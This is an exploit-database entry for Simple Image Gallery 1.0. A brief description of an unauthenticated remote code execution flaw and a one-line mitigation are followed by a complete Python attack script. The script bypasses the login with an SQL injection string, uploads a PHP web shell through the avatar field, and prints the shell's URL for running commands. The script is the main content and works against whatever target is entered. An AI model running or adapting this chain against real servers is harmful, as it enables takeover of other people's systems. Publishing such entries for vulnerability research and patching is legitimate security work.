Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)

vendor:

Simple Image Gallery

by:

Tagoletta (Tağmaç)

9,8

CVSS

HIGH

Remote Code Execution (RCE)

CWE

Product Name: Simple Image Gallery

Affected Version From: V 1.0

Affected Version To: V 1.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu

2021

Simple Image Gallery 1.0 – Remote Code Execution (RCE) (Unauthenticated)

A vulnerability in Simple Image Gallery 1.0 allows an unauthenticated attacker to execute arbitrary code on the target system. This is due to the lack of authentication when uploading an avatar image, which allows an attacker to upload a malicious PHP file containing arbitrary code. This code can then be executed by accessing the malicious file via a web browser.

Mitigation:

Ensure that authentication is required for all file uploads, and that only files of the expected type are accepted.

Source

Exploit-DB raw data:

# Exploit Title: Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 17.08.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html
# Version: V 1.0
# Tested on: Ubuntu

import requests
import random
import string
import json
from bs4 import BeautifulSoup

url = input("TARGET = ")

if not url.startswith('http://') and not url.startswith('https://'):
    url = "http://" + url
if not url.endswith('/'):
    url = url + "/"

payload= "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>"

session = requests.session()

print("Login Bypass")

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "admin' or '1'='1'#", "password": ""}
bypassUser = session.post(request_url, data=post_data)
data = json.loads(bypassUser.text)
status = data["status"]

if status == "success":

    let = string.ascii_lowercase

    shellname = ''.join(random.choice(let) for i in range(15))
    shellname = 'Tago'+shellname+'Letta'

    print("shell name "+shellname)

    print("\nprotecting user")
    request_url = url + "?page=user"
    getHTML = session.get(request_url)
    getHTMLParser = BeautifulSoup(getHTML.text, 'html.parser')

    ids = getHTMLParser.find('input', {'name':'id'}).get("value")
    firstname = getHTMLParser.find('input', {'id':'firstname'}).get("value")
    lastname = getHTMLParser.find('input', {'id':'lastname'}).get("value")
    username = getHTMLParser.find('input', {'id':'username'}).get("value")

    print("\nUser ID : " + ids)
    print("Firsname : " + firstname)
    print("Lasname : " + lastname)
    print("Username : " + username + "\n")

    print("shell uploading")

    request_url = url + "/classes/Users.php?f=save"
    request_headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary9nI3gVmJoEZoZyeA"}
    request_data = "------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ids+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+firstname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+lastname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+username+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA--\r\n"
    upload = session.post(request_url, headers=request_headers, data=request_data)

    if upload.text == "1":
        print("- OK -")
        req = session.get(url + "/?page=user")
        parser = BeautifulSoup(req.text, 'html.parser')
        find_shell = parser.find('img', {'id':'cimg'})
        print("Shell URL : " + find_shell.get("src") + "?cmd=whoami")
    else:
        print("- NO :( -")
else:
    print("No bypass user")